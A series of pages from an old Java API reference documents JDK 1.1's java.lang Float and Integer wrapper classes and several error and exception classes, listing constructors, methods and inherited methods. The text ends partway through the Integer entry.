public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type float. It is always true that Float.TYPE == float.class.

Constructors

Float

public Float(double value)

Parameters

value

The double value to be encapsulated by this object.

Description

Creates a Float object with the specified double value. The value is rounded to float precision.

public Float(float value)

Parameters

value

The float value to be encapsulated by this object.

Description

Creates a Float object with the specified float value.

public Float(String s) throws NumberFormatException

Parameters

s

The string to be made into a Float object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid float literal.

Description

Constructs a Float object with the value specified by the given string. The string must contain a sequence of characters that forms a legal float literal.

Class Methods

floatToIntBits

public static native int floatToIntBits(float value)

Parameters

value

The float value to be converted.

Returns

The int value that contains the same sequence of bits as the representation of the given float value.

Description

This method returns the int value that contains the same sequence of bits as the representation of the given float value. The meaning of the bits in the result is defined by the IEEE 754 floating-point format: bit 31 is the sign bit, bits 30-23 are the exponent, and bits 22-0 are the mantissa. An argument of POSITIVE_INFINITY produces the result 0x7f800000, an argument of NEGATIVE_INFINITY produces the result 0xff800000, and an argument of NaN produces the result 0x7fc00000.

The value returned by this method can be converted back to the original float value by the intBitsToFloat() method.

intBitsToFloat

public static native float intBitsToFloat(int bits)

Parameters

bits

The int value to be converted.

Returns

The float value whose representation is the same as the bits in the given int value.

Description

This method returns the float value whose representation is the same as the bits in the given int value. The meaning of the bits in the int value is defined by the IEEE 754 floating-point format: bit 31 is the sign bit, bits 30-23 are the exponent, and bits 22-0 are the mantissa. The argument 0x7f800000 produces the result POSITIVE_INFINITY, and the argument 0xff800000 produces the result NEGATIVE_INFINITY. Arguments in the ranges 0x7f800001 through 0x7f8fffff and 0xff800001 through 0xff8fffffL all produce the result NaN.

Except for NaN values not normally used by Java, this method is the inverse of the floatToIntBits() method.

isInfinite

public static boolean isInfinite(float v)

Parameters

v

The float value to be tested.

Returns

true if the specified value is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the specified value is an infinity value.

isNaN

public static boolean isNaN(float v)

Parameters

v

The float value to be tested.

Returns

true if the specified value is equal to NaN; otherwise false.

Description

This method determines whether or not the specified value is NaN.

toString

public static String toString(float f)

Parameters

f

The float value to be converted.

Returns

A string representation of the given value.

Description

This method returns a String object that contains a representation of the given float value.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of f is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

valueOf

 public static Float valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Float object.

Returns

The Float object constructed from the string.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid float literal.

Description

Constructs a Float object with the value specified by the given string. The string must contain a sequence of characters that forms a legal float literal. This method ignores leading and trailing whitespace in the string.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the truncated value of this object as a byte. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an byte, the method returns Byte.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an byte, the method returns Byte.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Float and it contains the same value as the object this method is associated with. More specifically, the method returns true if the floatToIntBits() method returns the same result for the values of both objects.

This method produces a different result than the == operator when both values are NaN. In this case, the == operator produces false, while this method returns true. By the same token, the method also produces a different result when the two values are +0.0 and -0.0. In this case, the == operator produces true, while this method returns false.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the float value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, if f is the value of the object, this method returns Float.floatToIntBits(f).

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the truncated value of this object as an int. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an int, the method returns Integer.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an int, the method returns Integer.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

isInfinite

public boolean isInfinite(float v)

Returns

true if the value of this object is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the value of this object is an infinity value.

isNaN

public boolean isNaN()

Returns

true if the value of this object is equal to NaN; otherwise false.

Description

This method determines whether or not the value of this object is NaN.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the truncated value of this object as a long. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by a long, the method returns Long.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by a long, the method returns Long.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the truncated value of this object as a short. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an short, the method returns Short.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an short, the method returns Short.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

toString

public String toString()

Returns

A string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains a representation of the value of this object.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of this object is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Double, Number, NumberFormatException, String

Previous | Home | Next
ExceptionInInitializerError | Book Index | IllegalAccessError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalAccessError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalAccessError

Name

IllegalAccessError

Synopsis

Class Name:

java.lang.IllegalAccessError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IllegalAccessError is thrown when a class attempts to access a field or call a method it does not have access to. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class changes after the class that references it was last compiled.

Class Summary

public class java.lang.IllegalAccessError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public IllegalAccessError();
  public IllegalAccessError(String s);
}

Constructors

IllegalAccessError

public IllegalAccessError()

Description

This constructor creates an IllegalAccessError with no associated detail message.

public IllegalAccessError(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalAccessError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
Float | Book Index | IllegalAccessException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalAccessException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalAccessException

Name

IllegalAccessException

Synopsis

Class Name:

java.lang.IllegalAccessException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IllegalAccessException is thrown when a program tries to dynamically load a class (i.e., uses the forName() method of the Class class, or the findSystemClass() or the loadClass() method of the ClassLoader class) and the currently executing method does not have access to the specified class because it is in another package and not public. This exception is also thrown when a program tries to create an instance of a class (i.e., uses the newInstance() method of the Class class) that does not have a zero-argument constructor accessible to the caller.

Class Summary

public class java.lang.IllegalAccessException extends java.lang.Exception {
  // Constructors
  public IllegalAccessException();
  public IllegalAccessException(String s);
}

Constructors

IllegalAccessException

public IllegalAccessException()

Description

This constructor creates an IllegalAccessException with no associated detail message.

public IllegalAccessException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalAccessException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, ClassLoader, Exception, Throwable

Previous | Home | Next
IllegalAccessError | Book Index | IllegalArgumentException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalArgumentException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalArgumentException

Name

IllegalArgumentException

Synopsis

Class Name:

java.lang.IllegalArgumentException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

java.lang.IllegalThreadStateException, java.lang.NumberFormatException

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IllegalArgumentException is thrown to indicate that an illegal argument has been passed to a method.

Class Summary

public class java.lang.IllegalArgumentException
             extends java.lang.RuntimeException {
  // Constructors
  public IllegalArgumentException();
  public IllegalArgumentException(String s);
}

Constructors

IllegalArgumentException

public IllegalArgumentException()

Description

This constructor creates an IllegalArgumentException with no associated detail message.

public IllegalArgumentException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalArgumentException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IllegalThreadStateException, NumberFormatException, RuntimeException, Throwable

Previous | Home | Next
IllegalAccessException | Book Index | IllegalMonitorStateException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalMonitorStateException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalMonitorStateException

Name

IllegalMonitorStateException

Synopsis

Class Name:

java.lang.IllegalMonitorStateException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IllegalMonitorStateException is thrown when an object's wait(), notify(), or notifyAll() method is called from a thread that does not own the object's monitor.

Class Summary

public class java.lang.IllegalMonitorStateException
             extends java.lang.RuntimeException {
  // Constructors
  public IllegalMonitorStateException();
  public IllegalMonitorStateException(String s);
}

Constructors

IllegalMonitorStateException

public IllegalMonitorStateException()

Description

This constructor creates an IllegalMonitorStateException with no associated detail message.

public IllegalMonitorStateException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalMonitorStateException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Object, RuntimeException, Throwable

Previous | Home | Next
IllegalArgumentException | Book Index | IllegalStateException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalStateException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalStateException

Name

IllegalStateException

Synopsis

Class Name:

java.lang.IllegalStateException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An IllegalStateException is thrown to indicate that a method has been invoked when the run-time environment is in an inappropriate state for the requested operation.

Class Summary

public class java.lang.IllegalStateException
             extends java.lang.RuntimeException {
  // Constructors
  public IllegalStateException();
  public IllegalStateException(String s);
}

Constructors

IllegalStateException

public IllegalStateException()

Description

This constructor creates an IllegalStateException with no associated detail message.

public IllegalStateException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalStateException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Object, RuntimeException, Throwable

Previous | Home | Next
IllegalMonitorStateException | Book Index | IllegalThreadStateException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IllegalThreadStateException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IllegalThreadStateException

Name

IllegalThreadStateException

Synopsis

Class Name:

java.lang.IllegalThreadStateException

Superclass:

java.lang.IllegalArgumentException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IllegalThreadStateException is thrown to indicate an attempt to perform an operation on a thread that is not legal for the thread's current state, such as attempting to resume a dead thread.

Class Summary

public class java.lang.IllegalThreadStateException
             extends java.lang.IllegalArgumentException {
  // Constructors
  public IllegalThreadStateException();
  public IllegalThreadStateException(String s);
}

Constructors

IllegalThreadStateException

public IllegalThreadStateException()

Description

This constructor creates an IllegalThreadStateException with no associated detail message.

public IllegalThreadStateException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IllegalThreadStateException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IllegalArgumentException, RuntimeException, Thread, Throwable

Previous | Home | Next
IllegalStateException | Book Index | IncompatibleClassChangeError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IncompatibleClassChangeError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IncompatibleClassChangeError

Name

IncompatibleClassChangeError

Synopsis

Class Name:

java.lang.IncompatibleClassChangeError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

java.lang.AbstractMethodError,

java.lang.IllegalAccessError,

java.lang.InstantiationError,

java.lang.NoSuchFieldError,

java.lang.NoSuchMethodError

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An IncompatibleClassChangeError or one of its subclasses is thrown when a class refers to another class in an incompatible way. This situation occurs when the current definition of the referenced class is incompatible with the definition of the class that was found when the referring class was compiled. For example, say class A refers to a method in class B. Then, after class A is compiled, the method is removed from class B. When class A is loaded, the run-time system discovers that the method in class B no longer exists and throws an error.

Class Summary

public class java.lang.IncompatibleClassChangeError
             extends java.lang.LinkageError {
  // Constructors
  public IncompatibleClassChangeError();
  public IncompatibleClassChangeError(String s);
}

Constructors

IncompatibleClassChangeError

public IncompatibleClassChangeError()

Description

This constructor creates an IncompatibleClassChangeError with no associated detail message.

public IncompatibleClassChangeError(String s)

Parameters

s

The detail message.

Description

This constructor creates an IncompatibleClassChangeError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

AbstractMethodError, Error, IllegalAccessError, InstantiationError, LinkageError, NoSuchFieldError, NoSuchMethodError, Throwable

Previous | Home | Next
IllegalThreadStateException | Book Index | IndexOutOfBoundsException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] IndexOutOfBoundsException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

IndexOutOfBoundsException

Name

IndexOutOfBoundsException

Synopsis

Class Name:

java.lang.IndexOutOfBoundsException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

java.lang.ArrayIndexOutOfBoundsException, java.lang.StringIndexOutOfBoundsException

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The appropriate subclass of IndexOutOfBoundsException is thrown when an array or string index is out of bounds.

Class Summary

public class java.lang.IndexOutOfBoundsException
             extends java.lang.RuntimeException {
  // Constructors
  public IndexOutOfBoundsException();
  public IndexOutOfBoundsException(String s);
}

Constructors

IndexOutOfBoundsException

public IndexOutOfBoundsException()

Description

This constructor creates an IndexOutOfBoundsException with no associated detail message.

public IndexOutOfBoundsException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IndexOutOfBoundsException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ArrayIndexOutOfBoundsException, Exception, RuntimeException, StringIndexOutOfBoundsException, Throwable

Previous | Home | Next
IncompatibleClassChangeError | Book Index | Integer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Integer

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Integer

Name

Integer

Synopsis

Class Name:

java.lang.Integer

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Integer class provides an object wrapper for an int value. This is useful when you need to treat an int value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify an int value for one of these arguments, but you can provide a reference to an Integer object that encapsulates the int value. Also, as of JDK 1.1, the Integer class is necessary to support the Reflection API and class literals.

The Integer class also provides a number of utility methods for converting int values to other primitive types and for converting int values to strings and vice versa.

Class Summary

public final class java.lang.Integer extends java.lang.Number {
    // Constants
    public static final int MAX_VALUE;
    public static final int MIN_VALUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Integer(int value);
    public Integer(String s);
    // Class Methods
    public static Integer decode(String nm)            // New in 1.1
    public static Integer getInteger(String nm);
    public static Integer getInteger(String nm, int val);
    public static Integer getInteger(String nm, Integer val);
    public static int parseInt(String s);
    public static int parseInt(String s, int radix;
    public static String toBinaryString(long i);
    public static String toHexString(long i);
    public static String toOctalString(long i);
    public static String toString(int i);
    public static String toString(int i, int radix);
    public static Integer valueOf(String s);
    public static Integer valueOf(String s, int radix);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final int MAX_VALUE = 0x7fffffff // 2147483647

Description

The largest value that can be represented by an int.

MIN_VALUE

public static final int MIN_VALUE = 0x80000000 // -2147483648

Description

The smallest value that can be represented by an int.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type int. It is always true that Integer.TYPE == int.class.

Constructors

Integer

public Integer(int value)

Parameters

value

The int value to be encapsulated by this object.

Description

Creates an Integer object with the specified int value.

public Integer(String s) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid int literal.

Description

Constructs an Integer object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Integer decode(String nm)

Availability

New as of JDK 1.1

Parameters

nm

A String representation of the value to be encapsulated by an Integer object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

An Integer object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any nondigit characters other than a leading minus sign or the value represented by the String is less than Integer.MIN_VALUE or greater than Integer.MAX_VALUE.

Description

This method returns an Integer object that encapsulates the given value.

getInteger

public static Integer getInteger(String nm)

Parameters

nm

The name of a system property.

Returns

The value of the system property as an Integer object, or an Integer object with the value 0 if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Integer getInteger(String nm, int val)

Parameters

nm

The name of a system property.

val

A default int value for the property.

Returns

The value of the system property as an Integer object, or an Integer object with the value val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Integer getInteger(String nm, Integer val)

Parameters

nm

The name of a system property.

val

A default Integer value for the property.

Returns

The value of the system property as an Integer object, or the Integer object val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's as a decimal integer.

parseInt

 public static int parseInt(String s) throws NumberFormatException

Parameters

s

The String to be converted to an int value.

Returns

The numeric value of the integer represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer.

Description

This method returns the numeric value of the integer represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static int parseInt(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to an int value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the integer represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer, or radix is not in the appropriate range.

Description

This method returns the numeric value of the integer represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toBinaryString

public static String toBinaryString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the binary representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned binary number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more `0' and `1' characters. The method returns "0" if its argument is 0. Otherwise, the string returned by this method begins with `1'.

toHexString

public static String toHexString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the hexadecimal representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned hexadecimal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', `9', `a', `b', `c', `d', `e', and `f'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

To produce a string that contains upper- instead of lowercase letters, use the String.toUpperCase() method.

toOctalString

public static String toOctalString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the octal representation of the given value.

Description

This method returns a String object that contains a representation of the given value as an unsigned octal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', and `7'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

toString

public static String toString(int i)

Parameters

i

The int value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

public static String toString(int i, int radix)

Parameters

i

The int value to be converted to a string.

radix

The radix used in converting the value to a string. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The string representation of the given value in the specified radix.

Description

This method returns a String object that contains the representation of the given value in the specified radix.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more characters that represent the magnitude of the given value. The characters that can appear in the sequence are determined by the value of radix. If N is the value of radix, the first N characters on the following line can appear in the sequence:

0123456789abcdefghijklmnopqrstuvwxyz

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

 public static Integer valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

Returns

The Integer object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer.

Description

Constructs an Integer object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Integer valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Integer object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer or radix is not in the appropriate range.

Description

Constructs an Integer object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte. The high order bits of the value are discarded.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Integer and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the int value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

